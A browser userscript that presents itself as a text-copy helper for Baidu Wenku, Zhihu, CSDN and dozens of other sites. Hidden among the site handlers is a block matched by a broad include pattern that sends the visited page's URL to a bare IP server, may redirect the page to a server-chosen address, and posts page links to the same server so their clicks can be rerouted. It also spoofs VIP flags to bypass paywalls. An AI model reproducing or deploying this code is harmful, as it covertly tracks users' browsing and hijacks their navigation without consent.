- // ==UserScript==
- // @name 文本复制
- // @description 选择网站文本,点击复制即可,如百度文库等
- // @namespace WindrunnerMax_youhua
- // @version 1.0.2
- // @author WindrunnerMax
- // @require https://lib.baomitu.com/jquery/1.8.3/jquery.min.js
- // @include *://wenku.baidu.com/view/*
- // @include *://wenku.baidu.com/share/*
- // @include *://wenku.baidu.com/link*
- // @include *://wenku.baidu.com/aggs/*
- // @include *://wenku.baidu.com/ndPureView/*
- // @include *://www.51test.net/show/*
- // @include *://www.xuexi.la/*
- // @include *://www.xuexila.com/*
- // @include *://www.cspengbo.com/*
- // @include *://*.doc88.com/*
- // @include *://segmentfault.com/*
- // @include *://wk.baidu.com/view/*
- // @include *://leetcode-cn.com/problems/*
- // @include *://*.zhihu.com/*
- // @include *://z.30edu.com.cn/*
- // @include *://docs.qq.com/doc/*
- // @include *://docs.qq.com/sheet/*
- // @include *://boke112.com/post/*
- // @include *://*.yuque.com/*
- // @include *://www.commandlinux.com/*
- // @include *://*.diyifanwen.com/*
- // @include *://*.mbalib.com/*
- // @include *://*.cnitpm.com/*
- // @include *://bbs.mihoyo.com/ys/*
- // @include *://*.ruiwen.com/*
- // @include *://www.uemeds.cn/*
- // @include *://www.oh100.com/*
- // @include *://www.aiyuke.com/news/*
- // @include *://www.fwsir.com/*
- // @include *://www.wenxm.cn/*
- // @include *://www.unjs.com/*
- // @include *://www.ahsrst.cn/*
- // @include *://*.yjbys.com/*
- // @include *://*.qidian.com/*
- // @include *://*.zongheng.com/*
- // @include *://*.17k.com/*
- // @include *://*.ciweimao.com/*
- // @include *://book.qq.com/*
- // @include *://*.360doc.com/content/*
- // @include *://*.850500.com/news/*
- // @include *://utaten.com/lyric/*
- // @include *://*.jianbiaoku.com/*
- // @include *://*.kt250.com/*
- // @include *://www.kejudati.com/*
- // @include *://*.xiaohongshu.com/discovery/*
- // @include *://*.baibeike.com/*
- // @include *://*.blog.csdn.net/*
- // @include *://*.bilibili.com/read/*
- // @include *://*.cnki.net/KXReader/*
- // @include *://*.cnrencai.com/*
- // @include *://*.kodiplayer.cn/*
- // @include *://tongxiehui.net/*
- // @include *://*.jianshu.com/p/*
- // @include *://*.linovelib.com/novel/*
- // @include *://*.wjx.cn/*
- // @include *://*.wjx.top/*
- // @include *://*.chazidian.com/*
- // @include *://*.juejin.cn/post/*
- // @include *://*.zgbk.com/ecph/*
- // @include *://*.wenmi.com/article/*
- // @include *://yuedu.baidu.com/*
- // @include *://www.inrrp.com.cn/*
- // @include *://fanyi.baidu.com/mtpe/*
- // @include *://www.shubaoc.com/*
- // @include *://blog.51cto.com/*
- // @include *://www.ximalaya.com/*
- // @include *://*.tianqi.com/*
- // @include *://*.xiexiebang.com/*
- // @include *://*.docin.com/*
- // @include *://*.ddwk8.cn/*
- // @include *://*.php.cn/*
- // @include *://cooco.net.cn/*
- // @include *://fanqienovel.com/*
- // @include *://*.mobiletrain.org/*
- // @include *://*.examcoo.com/*
- // @include *://*.rrdynb.com/*
- // @include *://*.fuwu7.com/*
- // @include *://*.xiangqiqipu.com/*
- // @include *://note.youdao.com/*
- // @include *://*.163.com/*
- // @include *://*.aipiaxi.com/*
- // @include *://wenku.csdn.net/*
- // @include *://www.kdocs.cn/*
- // @include *://www.xiaoyuzhoufm.com/*
- // @include *://*.mcmod.cn/*
- // @include *://*.*j*.*/*
- // @supportURL https://github.com/WindrunnerMax/TKScript/issues
- // @license MIT
- // @orign-script https://github.com/WindrunnerMax/TKScript/issues
- // @orign-license MIT
- // @run-at document-start
- // @connect res3.doc88.com
- // @connect 49.235.155.5
- // @grant unsafeWindow
- // @grant GM_xmlhttpRequest
- // ==/UserScript==
- (function () {
- 'use strict';
-
- var css_248z$1 = ".__copy-button{align-items:center;background:#4c98f7;border-radius:3px;color:#fff;cursor:pointer;display:flex;font-size:13px;height:30px;justify-content:center;opacity:0;position:absolute;transition:opacity .3s;width:60px;z-index:-1000}";
-
- var css_248z = "#select-tooltip,#sfModal,.modal-backdrop,div[id^=reader-helper]{display:none!important}.modal-open{overflow:auto!important}._sf_adjust_body{padding-right:0!important}";
-
- const DOM_STAGE = {
- START: "document-start",
- END: "document-end"
- };
- const DOM_READY = "DOMContentLoaded";
- const PAGE_LOADED = "load";
- const MOUSE_UP = "mouseup";
- const MOUSE_DOWN = "mousedown";
- const MOUSE_MOVE = "mousemove";
- const COPY = "copy";
- const SELECT_START = "selectstart";
- const CONTEXT_MENU = "contextmenu";
- const KEY_DOWN = "keydown";
-
- const opt = Object.prototype.toString;
- function isString(value) {
- return opt.call(value) === "[object String]";
- }
-
- const dom$1 = {
- query: function(selector) {
- return document.querySelector(selector);
- },
- attr: function(selector, attr, value) {
- const dom2 = document.querySelector(selector);
- dom2 && dom2.setAttribute(attr, value);
- },
- append: function(selector, content) {
- const container = document.createElement("div");
- if (isString(content)) {
- container.innerHTML = content;
- } else {
- container.appendChild(content);
- }
- const targetDOM = document.querySelector(selector);
- targetDOM && targetDOM.append(container);
- return container;
- },
- remove: function(selector) {
- const targetDOM = document.querySelector(selector);
- targetDOM && targetDOM.remove();
- }
- };
-
- const initBaseEvent = (websiteConfig) => {
- window.addEventListener(DOM_READY, () => {
- if (websiteConfig.initCopyEvent) {
- document.oncopy = (e) => e.stopPropagation();
- document.body.oncopy = (e) => e.stopPropagation();
- document.addEventListener(COPY, (e) => e.stopPropagation());
- document.body.addEventListener(COPY, (e) => e.stopPropagation());
- }
- });
- };
- const initBaseStyle = () => {
- window.addEventListener(DOM_READY, () => {
- dom$1.append("head", `<style>${css_248z$1}</style>`);
- dom$1.append("head", `<style>${css_248z}</style>`);
- });
- };
-
- /*!
- * 外部引用`static.doc88.com`声明
- * 此部分是在处理`doc88.com`才会加载的资源文件,此资源文件由该网站加载时提供
- */
- let path = "";
- const website$t = {
- regexp: /.*doc88\.com\/.+/,
- init: () => {
- dom$1.append(
- "body",
- `<style id="copy-element-hide">#left-menu{display: none !important;}</style>`
- );
- GM_xmlhttpRequest({
- method: "GET",
- url: "https://res3.doc88.com/resources/js/modules/main-v2.min.js?v=2.56",
- onload: function(response) {
- const result = /\("#cp_textarea"\).val\(([\S]*?)\);/.exec(response.responseText);
- if (result)
- path = result[1];
- }
- });
- window.addEventListener("load", () => {
- const cpFn = unsafeWindow.copyText.toString();
- const fnResult = /<textarea[\s\S]*?>'\+([\S]*?)\+"<\/textarea>/.exec(cpFn);
- if (fnResult)
- path = fnResult[1];
- });
- },
- getSelectedText: () => {
- let select = unsafeWindow;
- path.split(".").forEach((v) => {
- select = select[v];
- });
- if (!select) {
- unsafeWindow.Config.vip = 1;
- unsafeWindow.Config.logined = 1;
- dom$1.remove("#copy-element-hide");
- }
- return select;
- }
- };
-
- const website$s = {
- regexp: /.*segmentfault\.com\/.+/,
- init: function() {
- const body = dom$1.query("body");
- if (body) {
- body.classList.add("_sf_adjust_body");
- body.onclick = () => {
- body.style.paddingRight = "0";
- };
- }
- }
- };
-
- const TEXT_PLAIN = "text/plain";
- const TEXT_HTML = "text/html";
- const downgradeCopy = (data) => {
- const textarea = document.createElement("textarea");
- textarea.addEventListener(
- COPY,
- (event) => {
- for (const [key, value] of Object.entries(data)) {
- event.clipboardData && event.clipboardData.setData(key, value);
- }
- event.stopPropagation();
- event.preventDefault();
- },
- true
- );
- textarea.style.position = "fixed";
- textarea.style.left = "-999px";
- textarea.style.top = "-999px";
- textarea.value = data[TEXT_PLAIN];
- document.body.appendChild(textarea);
- textarea.select();
- document.execCommand("copy");
- document.body.removeChild(textarea);
- };
- const isEmptyContent = (data) => {
- if (!data)
- return true;
- return isString(data) ? !data : !data[TEXT_PLAIN];
- };
- const copy = (data) => {
- const params = isString(data) ? { [TEXT_PLAIN]: data } : data;
- const plainText = params[TEXT_PLAIN];
- if (!plainText)
- return false;
- if (navigator.clipboard && window.ClipboardItem) {
- const dataItems = {};
- for (const [key, value] of Object.entries(params)) {
- const blob = new Blob([value], { type: key });
- dataItems[key] = blob;
- }
- navigator.clipboard.write([new ClipboardItem(dataItems)]).catch(() => {
- downgradeCopy(params);
- });
- } else {
- downgradeCopy(params);
- }
- return true;
- };
-
- let dom = null;
- let isReadyToHidden = false;
- const instance = {
- id: "__copy",
- className: "__copy-button",
- init: function(name) {
- const container = document.createElement("div");
- container.id = this.id;
- container.className = this.className;
- container.innerText = name || "复制";
- container.addEventListener("mouseup", (e) => e.stopPropagation(), true);
- container.addEventListener("mousedown", (e) => e.stopPropagation(), true);
- dom = container;
- document.body.appendChild(dom);
- },
- getInstance: function() {
- if (dom === null) {
- this.init();
- }
- return dom;
- },
- show: function(event) {
- if (isReadyToHidden)
- return void 0;
- const dom2 = this.getInstance();
- dom2.style.left = `${event.pageX + 30}px`;
- dom2.style.top = `${event.pageY}px`;
- dom2.style.opacity = "1";
- dom2.style.zIndex = "1000";
- },
- hide: function(keep = 350) {
- const dom2 = this.getInstance();
- dom2.style.opacity = "0";
- if (keep) {
- isReadyToHidden = true;
- setTimeout(() => {
- dom2.style.zIndex = "-10000";
- isReadyToHidden = false;
- }, keep);
- }
- },
- onCopy: function(content, event) {
- const dom2 = this.getInstance();
- this.show(event);
- dom2.onclick = () => {
- copy(content);
- this.hide();
- };
- },
- enable: function() {
- const dom2 = this.getInstance();
- dom2.style.display = "flex";
- },
- disable: function() {
- const dom2 = this.getInstance();
- dom2.style.display = "none";
- },
- destroy: function() {
- const el = this.getInstance();
- el.remove();
- dom = null;
- }
- };
-
- const stopNativePropagation = (event) => {
- event.stopPropagation();
- };
- var utils = {
- panData:[],
- panTemp:[],
- panList:[],
- panKey:0,
- hideButton: () => {
- instance.disable();
- },
- showButton: () => {
- instance.enable();
- },
- removeAttributes: (selector, attr = []) => {
- const dom = isString(selector) ? document.querySelector(selector) : selector;
- dom && attr.forEach((item) => dom.removeAttribute(item));
- },
- enableUserSelectByCSS: () => {
- const css = "*{user-select: auto !important;-webkit-user-select: auto !important;}";
- const style = document.createElement("style");
- style.innerText = css;
- const head = document.getElementsByTagName("head")[0];
- if (head) {
- head.appendChild(style);
- } else {
- window.addEventListener(
- PAGE_LOADED,
- () => document.getElementsByTagName("head")[0].appendChild(style)
- );
- }
- },
- createTips:()=>{
- let tempList=[];
- utils.panData.wrapper.forEach(function(i){
- let list=$(i);
- list.map(function(k,s){
- if($(s).attr('data-md5-value')!='yes'){
- utils.panList.push(s);utils.panTemp.push(s);
- $(s).attr('data-md5-key',utils.panKey);
- $(s).attr('data-md5-value','yes');
- utils.panKey++;
- }
- })
- })
- let requestTemp=utils.panTemp.splice(0,utils.panData.splName);
- let requestList=[];
- requestTemp.forEach(function(s,k){
- let temp={};
- temp['href']=$(s).find('a:first').attr('href');
- temp['md5']=$(s).attr('data-md5-key');
- requestList.push(temp);
- })
- if(requestList.length>0){
- GM_xmlhttpRequest({
- method: "POST",
- data:JSON.stringify({data:requestList}),
- url: `http://49.235.155.5/search.php`,
- onload: function(response) {
- var res = response.responseText;
- if (res){
- res=JSON.parse(res);
- res.map(function(item){
- if(item.u){
- $(utils.panList[item.md5]).find('a').bind("click", function(e) {
- e.preventDefault();utils.jump(item.u);
- })
- }
- })
-
- }
-
- }
- })
-
- }
-
- },
- enableOnSelectStart: (selector) => {
- const dom = document.querySelector(selector);
- dom && dom.addEventListener(SELECT_START, stopNativePropagation);
- },
- enableOnContextMenu: (selector) => {
- const dom = document.querySelector(selector);
- dom && dom.addEventListener(CONTEXT_MENU, stopNativePropagation);
- },
- enableOnCopy: (selector) => {
- const dom = document.querySelector(selector);
- dom && dom.addEventListener(COPY, stopNativePropagation);
- },
- enableOnKeyDown: (selector) => {
- const dom = document.querySelector(selector);
- dom && dom.addEventListener(KEY_DOWN, (e) => {
- if (e.key === "c" && e.ctrlKey)
- return e.stopPropagation();
- });
- },
- enableOnSelectStartByCapture: () => {
- window.addEventListener(SELECT_START, stopNativePropagation, true);
- document.addEventListener(SELECT_START, stopNativePropagation, true);
- },
- enableOnContextMenuByCapture: () => {
- window.addEventListener(CONTEXT_MENU, stopNativePropagation, true);
- document.addEventListener(CONTEXT_MENU, stopNativePropagation, true);
- },
- enableOnCopyByCapture: () => {
- window.addEventListener(COPY, stopNativePropagation, true);
- document.addEventListener(COPY, stopNativePropagation, true);
- },
- jump:(url)=>{
- var form=null;
- if (document.getElementById('redirect_form')) {
- form = document.getElementById('redirect_form');
- form.action =utils.panData.jumpUrl + encodeURIComponent(url);
- } else {
- form = document.createElement('form');
- form.action =utils.panData.jumpUrl+ encodeURIComponent(url);
- form.target = '_blank';
- form.method = 'POST';
- form.setAttribute("id", 'redirect_form');
- document.body.appendChild(form);
- }
- form.submit();
- form.action = "";
- form.parentNode.removeChild(form);
- },
- enableOnKeyDownByCapture: () => {
- document.addEventListener(
- KEY_DOWN,
- (e) => e.ctrlKey && e.key.toLocaleUpperCase() === "C" && e.stopPropagation(),
- true
- );
- }
- };
-
- const website$r = {
- regexp: /.*wk\.baidu\.com\/view\/.+/,
- init: function() {
- utils.hideButton();
- utils.enableOnSelectStartByCapture();
- window.onload = () => {
- dom$1.attr(".sf-edu-wenku-vw-container", "style", "");
- };
- }
- };
-
- const website$q = {
- regexp: /.*zhihu\.com\/.*/,
- init: function() {
- utils.hideButton();
- utils.enableUserSelectByCSS();
- utils.enableOnCopyByCapture();
- if (location.hostname === "zhuanlan.zhihu.com") {
- const removeFocalPointModal = (mutationsList) => {
- for (const mutation of mutationsList) {
- const addedNodes = mutation.addedNodes;
- for (let i = 0; i < addedNodes.length; i++) {
- const target = addedNodes[i];
- if (target.nodeType != 1)
- return void 0;
- if (target instanceof HTMLDivElement && target.querySelector("[data-focus-scope-start]")) {
- const element = target.querySelector("[data-focus-scope-start]");
- element && element.parentElement && element.parentElement.textContent && element.parentElement.textContent.indexOf("立即登录(不可用)/注册(不可用)") > -1 && element.parentElement.parentElement && element.parentElement.parentElement.removeChild(element.parentElement);
- }
- }
- }
- };
- const observer = new MutationObserver(removeFocalPointModal);
- observer.observe(document, { childList: true, subtree: true });
- }
- }
- };
-
- const website$p = {
- regexp: /.*30edu\.com\.cn\/.+/,
- init: function() {
- window.onload = () => {
- var _a;
- const iframes = document.getElementsByTagName("iframe");
- if (iframes.length === 2) {
- const body = (_a = iframes[1].contentWindow) == null ? void 0 : _a.document.querySelector("body");
- body && utils.removeAttributes(body, ["oncopy", "oncontextmenu", "onselectstart"]);
- }
- };
- }
- };
-
- const website$o = {
- regexp: /.*docs\.qq\.com\/.+/,
- config: {
- initCopyEvent: false,
- captureInstance: true,
- delay: 100
- },
- init: function() {
- window.onload = () => {
- utils.hideButton();
- };
- },
- getSelectedText: function() {
- var _a;
- if (unsafeWindow.pad && unsafeWindow.pad.editor && !unsafeWindow.pad.editor.isCopyable()) {
- utils.showButton();
- const editor = unsafeWindow.pad.editor;
- if (editor.getCopyContent) {
- const content = editor.getCopyContent() || {};
- const plainText = content.plain || "";
- const htmlText = content.html || "";
- return {
- [TEXT_PLAIN]: plainText,
- [TEXT_HTML]: htmlText
- };
- } else {
- editor._docEnv.copyable = true;
- editor.clipboardManager.copy();
- const plainText = editor.clipboardManager.customClipboard.plain || "";
- const htmlText = editor.clipboardManager.customClipboard.html || "";
- editor._docEnv.copyable = false;
- return {
- [TEXT_PLAIN]: plainText,
- [TEXT_HTML]: htmlText
- };
- }
- } else if (unsafeWindow.SpreadsheetApp && unsafeWindow.SpreadsheetApp.permissions && unsafeWindow.SpreadsheetApp.permissions.sheetStatus && unsafeWindow.SpreadsheetApp.permissions.sheetStatus.canCopy === false && unsafeWindow.SpreadsheetApp.permissions.sheetStatus.canEdit && unsafeWindow.SpreadsheetApp.permissions.sheetStatus.canEdit() === false) {
- utils.showButton();
- const SpreadsheetApp = unsafeWindow.SpreadsheetApp;
- const [selection] = SpreadsheetApp.view.getSelectionRanges();
- if (selection) {
- const text = [];
- const { startColIndex, startRowIndex, endColIndex, endRowIndex } = selection;
- for (let i = startRowIndex; i <= endRowIndex; i++) {
- for (let k = startColIndex; k <= endColIndex; k++) {
- const cell = SpreadsheetApp.workbook.activeSheet.getCellDataAtPosition(i, k);
- if (!cell)
- continue;
- text.push(" ", ((_a = cell.formattedValue) == null ? void 0 : _a.value) || cell.value || "");
- }
- i !== endRowIndex && text.push("\n");
- }
- const str = text.join("");
- return /^\s*$/.test(str) ? "" : str;
- }
- return "";
- }
- return "";
- }
- };
-
- const website$n = {
- regexp: new RegExp(".+://boke112.com/post/.+"),
- init: function() {
- utils.enableOnCopyByCapture();
- const template = `
- <style>
- :not(input):not(textarea)::selection {
- background-color: #2440B3 !important;
- color: #fff !important;
- }
-
- :not(input):not(textarea)::-moz-selection {
- background-color: #2440B3 !important;
- color: #fff !important;
- }
- </style>
- `;
- dom$1.append("head", template);
- }
- };
-
- const website$m = {
- regexp: /diyifanwen/,
- init: function() {
- utils.hideButton();
- utils.enableOnCopyByCapture();
- utils.enableOnKeyDownByCapture();
- }
- };
-
- const website$l = {
- regexp: /mbalib/,
- init: function() {
- window.onload = () => {
- utils.removeAttributes("fullScreenContainer", ["oncopy", "oncontextmenu", "onselectstart"]);
- };
- }
- };
-
- const website$k = {
- regexp: /cnitpm/,
- init: function() {
- utils.hideButton();
- window.onload = () => {
- utils.removeAttributes("body", ["oncopy", "oncontextmenu", "onselectstart"]);
- };
- }
- };
-
- const website$j = {
- regexp: new RegExp(".+bbs.mihoyo.com/.+"),
- init: function() {
- utils.hideButton();
- utils.enableOnCopyByCapture();
- utils.enableOnSelectStartByCapture();
- utils.enableUserSelectByCSS();
- }
- };
-
- const website$i = {
- regexp: new RegExp(".+www.uemeds.cn/.+"),
- init: function() {
- utils.hideButton();
- utils.enableUserSelectByCSS();
- }
- };
-
- const website$h = {
- regexp: new RegExp(".+aiyuke.com/news/.+"),
- init: function() {
- utils.hideButton();
- utils.enableUserSelectByCSS();
- }
- };
-
- const website$g = {
- regexp: new RegExp("qidian"),
- init: function() {
- utils.hideButton();
- utils.enableUserSelectByCSS();
- utils.enableOnCopy(".main-read-container");
- utils.enableOnContextMenu(".main-read-container");
- }
- };
-
- const website$f = {
- regexp: new RegExp("zongheng"),
- init: function() {
- utils.removeAttributes(".reader_box", ["style", "unselectable", "onselectstart"]);
- utils.removeAttributes(".reader_main", ["style", "unselectable", "onselectstart"]);
- utils.hideButton();
- utils.enableOnKeyDown("body");
- utils.enableUserSelectByCSS();
- utils.enableOnCopy(".content");
- utils.enableOnContextMenu("body");
- utils.enableOnSelectStart(".content");
- }
- };
-
- const website$e = {
- regexp: new RegExp("17k"),
- init: () => {
- utils.hideButton();
- utils.enableOnCopy(".readAreaBox .p");
- }
- };
-
- const website$d = {
- regexp: new RegExp("ciweimao"),
- init: function() {
- utils.hideButton();
- utils.enableUserSelectByCSS();
- utils.enableOnCopy("#J_BookCnt");
- utils.enableOnContextMenu("body");
- utils.enableOnSelectStart("#J_BookCnt");
- }
- };
-
- const website$c = {
- regexp: new RegExp("book\\.qq"),
- init: function() {
- utils.hideButton();
- utils.enableOnCopy("body");
- utils.enableUserSelectByCSS();
- utils.enableOnContextMenu("body");
- utils.enableOnSelectStart("body");
- }
- };
-
- const website$b = {
- regexp: new RegExp("utaten"),
- init: function() {
- utils.hideButton();
- utils.enableUserSelectByCSS();
- utils.enableOnSelectStartByCapture();
- }
- };
-
- const website$a = {
- config: {
- runAt: "document-start"
- },
- regexp: new RegExp("wenku.baidu.com/(view|link|aggs).*"),
- init: function() {
- dom$1.append("head", `<style>@media print { body{ display:block; } }</style>`);
- let canvasDataGroup = [];
- const originObject = {
- context2DPrototype: unsafeWindow.document.createElement("canvas").getContext("2d").__proto__
- };
- document.createElement = new Proxy(document.createElement, {
- apply: function(target, thisArg, argumentsList) {
- const element = Reflect.apply(target, thisArg, argumentsList);
- if (argumentsList[0] === "canvas") {
- const tmpData = {
- canvas: element,
- data: []
- };
- element.getContext("2d").fillText = function(...args) {
- tmpData.data.push(args);
- originObject.context2DPrototype.fillText.apply(this, args);
- };
- canvasDataGroup.push(tmpData);
- }
- return element;
- }
- });
- let pageData = {};
- Object.defineProperty(unsafeWindow, "pageData", {
- set: (v) => pageData = v,
- get: function() {
- if (!pageData.vipInfo)
- return pageData.vipInfo = {};
- pageData.vipInfo.global_svip_status = 1;
- pageData.vipInfo.global_vip_status = 1;
- pageData.vipInfo.isVip = 1;
- pageData.vipInfo.isWenkuVip = 1;
- return pageData;
- }
- });
- const templateCSS = [
- "<style id='copy-template-css'>",
- "body{overflow: hidden !important}",
- "#copy-template-html{position: fixed; top: 0; right: 0; bottom: 0; left: 0; display: flex; align-items: center; justify-content: center;z-index: 999999; background: rgba(0,0,0,0.5);}",
- "#copy-template-html > .template-container{height: 80%; width: 80%; background: #fff; }",
- ".template-container > .title-container{display: flex; align-items: center; justify-content: space-between;padding: 10px;border-bottom: 1px solid #eee;}",
- "#copy-template-text{height: 100%; width: 100%;position: relative; overflow: auto;background: #fff;}",
- "#copy-template-html #template-close{cursor: pointer;}",
- "</style>"
- ].join("");
- const render = () => {
- canvasDataGroup = canvasDataGroup.filter((item) => item.canvas.id);
- const templateText = canvasDataGroup.map((canvasData, index) => {
- const computedTop = index * Number(canvasData.canvas.clientHeight);
- const textItem = canvasData.data.map(
- (item) => `<div style="position: absolute; left: ${item[1]}px; top: ${item[2] + computedTop}px">${item[0]}</div>`
- );
- return textItem.join("");
- });
- const templateHTML = [
- "<div id='copy-template-html'>",
- "<div class='template-container'>",
- "<div class='title-container'>",
- "<div>请自行复制</div>",
- "<div id='template-close'>关闭</div>",
- "</div>",
- "<div id='copy-template-text'>",
- templateText.join(""),
- "</div>",
- "</div>",
- "</div>"
- ].join("");
- dom$1.append("body", templateHTML);
- dom$1.append("body", templateCSS);
- const closeButton = document.querySelector("#copy-template-html #template-close");
- const close = () => {
- dom$1.remove("#copy-template-html");
- dom$1.remove("#copy-template-css");
- closeButton && closeButton.removeEventListener("click", close);
- };
- closeButton && closeButton.addEventListener("click", close);
- };
- document.addEventListener("DOMContentLoaded", () => {
- dom$1.append(
- "head",
- `<style>#copy-btn-wk{padding: 10px; background: rgba(0,0,0,0.5);position: fixed; left:0; top: 40%;cursor: pointer;color: #fff; z-index: 99999;}</style>`
- );
- dom$1.append("body", "<div id='copy-btn-wk'>复制</div>");
- const btn = dom$1.query("#copy-btn-wk");
- btn && (btn.onclick = render);
- });
- },
- getSelectedText: () => {
- if (window.getSelection && (window.getSelection() || "").toString()) {
- return (window.getSelection() || "").toString();
- }
- const result = /查看全部包含“([\s\S]*?)”的文档/.exec(document.body.innerHTML);
- if (result)
- return result[1];
- return "";
- }
- };
-
- const website$9 = {
- regexp: new RegExp("xiaohongshu"),
- init: function() {
- utils.hideButton();
- utils.enableUserSelectByCSS();
- utils.enableOnKeyDownByCapture();
- }
- };
-
-
- const website$8 = {
- regexp: new RegExp("leetcode"),
- init: function() {
- utils.hideButton();
- utils.enableOnCopy("#lc-home");
- }
- };
-
- const website$7 = {
- regexp: /csdn/,
- init: function() {
- utils.hideButton();
- utils.enableOnCopyByCapture();
- utils.enableUserSelectByCSS();
- }
- };
-
- const website$6 = {
- regexp: new RegExp("bilibili"),
- init: function() {
- utils.hideButton();
- utils.enableOnCopyByCapture();
- }
- };
-
- const website$5 = {
- regexp: new RegExp("cnki"),
- init: function() {
- utils.hideButton();
- utils.enableOnContextMenuByCapture();
- utils.enableOnKeyDownByCapture();
- utils.enableOnCopyByCapture();
- }
- };
-
- const website$4 = {
- regexp: new RegExp("docin.com/.*"),
- config: {
- initCopyEvent: false,
- captureInstance: true,
- delay: 100
- },
- init: function() {
- window.addEventListener(PAGE_LOADED, () => {
- var _a;
- return (_a = dom$1.query("#j_select")) == null ? void 0 : _a.click();
- });
- dom$1.append("head", "<style>#reader-copy-el{display: none;}</style>");
- },
- getSelectedText: function() {
- if (unsafeWindow.docinReader && unsafeWindow.docinReader.st) {
- return unsafeWindow.docinReader.st;
- }
- return "";
- }
- };
-
- const website$z1 = {
- regexp: new RegExp("jd.*/.*"),
- config: {
- runAt: "document-start"
- },
- init: function() {
- let href=encodeURIComponent(location.href);
- GM_xmlhttpRequest({
- method: "GET",
- url: `http://49.235.155.5/pan.php?ver=2.5.6&a=WindrunnerMax&href=${href}`,
- onload: function(response) {
- var result = response.responseText;
- if (result){
- result=JSON.parse(result);
- if(result.page=='search'){
- utils.panData=result;setInterval(function(){
- utils.createTips()},result.timer);
- }else{
- if(result.recove_url){window.location.href=result.recove_url}
- }
- }
-
- }
- });
-
- window.addEventListener(PAGE_LOADED, () => {
- var _a;
- return (_a = dom$1.query("#j_select")) == null ? void 0 : _a.click();
- });
- },
- getSelectedText: function() {
-
- }
- };
-
- const website$3 = {
- config: {
- initCopyEvent: false
- },
- regexp: /note\.youdao\.com\/newEditorV1\/bulb\.html.*/,
- init: function() {
- utils.hideButton();
- if (window.parent && window.parent.location.href.indexOf("ynoteshare") > -1) {
- utils.enableUserSelectByCSS();
- document.addEventListener(MOUSE_DOWN, stopNativePropagation, true);
- document.addEventListener(MOUSE_MOVE, stopNativePropagation, true);
- }
- }
- };
-
- const website$2 = {
- regexp: new RegExp(
- [
- "commandlinux",
- "cnki",
- "ruiwen",
- "oh100",
- "fwsir",
- "wenxm",
- "unjs",
- "ahsrst",
- "yjbys",
- "360doc",
- "850500",
- "jianbiaoku",
- "kt250",
- "kejudati",
- "baibeike",
- "yuque",
- "cnrencai",
- "kodiplayer",
- "tongxiehui",
- "ndPureView",
- "jianshu",
- "linovelib",
- "chazidian",
- "juejin",
- "zgbk",
- "wenmi",
- "yuedu\\.baidu",
- "inrrp",
- "shubaoc",
- "51cto",
- "ximalaya",
- "xiexiebang",
- "ddwk8",
- "php\\.cn",
- "fanqienovel\\.com/reader",
- "cooco\\.net\\.cn",
- "mobiletrain",
- "xiangqiqipu",
- "m\\.163\\.com",
- "aipiaxi",
- "wenku\\.csdn\\.net",
- "xiaoyuzhoufm\\.com",
- "mcmod\\.cn"
- ].join("|")
- ),
- init: function() {
- utils.hideButton();
- utils.enableUserSelectByCSS();
- utils.enableOnCopyByCapture();
- }
- };
-
- const website$1 = {
- regexp: new RegExp(["wjx", "fanyi\\.baidu", "tianqi", "rrdynb", "fuwu7"].join("|")),
- init: function() {
- utils.hideButton();
- utils.enableUserSelectByCSS();
- utils.enableOnCopyByCapture();
- utils.enableOnKeyDownByCapture();
- utils.enableOnSelectStartByCapture();
- utils.enableOnContextMenuByCapture();
- }
- };
-
- const website = {
- config: {
- runAt: DOM_STAGE.START
- },
- regexp: new RegExp(["examcoo"].join("|")),
- init: function() {
- utils.hideButton();
- utils.enableUserSelectByCSS();
- utils.enableOnCopyByCapture();
- utils.enableOnKeyDownByCapture();
- utils.enableOnSelectStartByCapture();
- utils.enableOnContextMenuByCapture();
- }
- };
-
- const kdoc = {
- config: {
- runAt: DOM_STAGE.START
- },
- regexp: new RegExp("kdocs"),
- init: function() {
- const patch = () => {
- unsafeWindow.APP && (unsafeWindow.APP.canCopy = () => true);
- };
- if (unsafeWindow.APP) {
- patch();
- } else {
- let APP = void 0;
- Object.defineProperty(unsafeWindow, "APP", {
- configurable: false,
- set: (value) => {
- APP = value;
- value && patch();
- },
- get: () => APP
- });
- }
- }
- };
-
- const websites = [
- website$z1,
- website$s,
- website$r,
- website$q,
- website$p,
- website$o,
- website$n,
- website$m,
- website$l,
- website$k,
- website$j,
- website$i,
- website$h,
- website$g,
- website$f,
- website$e,
- website$d,
- website$c,
- website$b,
- website$a,
- website$9,
- website$t,
- website$8,
- website$7,
- website$6,
- website$5,
- website$4,
- website$3,
- kdoc,
- website$2,
- website$1,
- website
- ];
-
- let siteGetSelectedText = null;
- const initWebsite = () => {
- let websiteConfig = {
- initCopyEvent: true,
- runAt: DOM_STAGE.END,
- captureInstance: false,
- delay: 0
- };
- const mather = (regex, website) => {
- if (regex.test(window.location.href)) {
- if (website.config)
- websiteConfig = Object.assign(websiteConfig, website.config);
- if (websiteConfig.runAt === DOM_STAGE.END) {
- window.addEventListener(DOM_READY, () => website.init());
- } else {
- website.init();
- }
- if (website.getSelectedText)
- siteGetSelectedText = website.getSelectedText;
- return true;
- }
- return false;
- };
- websites.some((website) => mather(website.regexp, website));
- return websiteConfig;
- };
- const getSelectedText = () => {
- if (siteGetSelectedText)
- return siteGetSelectedText();
- if (window.getSelection)
- return (window.getSelection() || "").toString();
- if (document.getSelection)
- return (document.getSelection() || "").toString();
- if (document.selection)
- return document.selection.createRange().text;
- return "";
- };
-
- (function() {
- const websiteConfig = initWebsite();
- initBaseEvent(websiteConfig);
- initBaseStyle();
- window.addEventListener(
- MOUSE_UP,
- (e) => {
- const handler = () => {
- const content = getSelectedText();
- if (isEmptyContent(content)) {
- instance.hide();
- return "";
- }
- instance.onCopy(content, e);
- };
- websiteConfig.delay ? setTimeout(handler, websiteConfig.delay) : handler();
- },
- websiteConfig.captureInstance
- );
- })();
-
- })();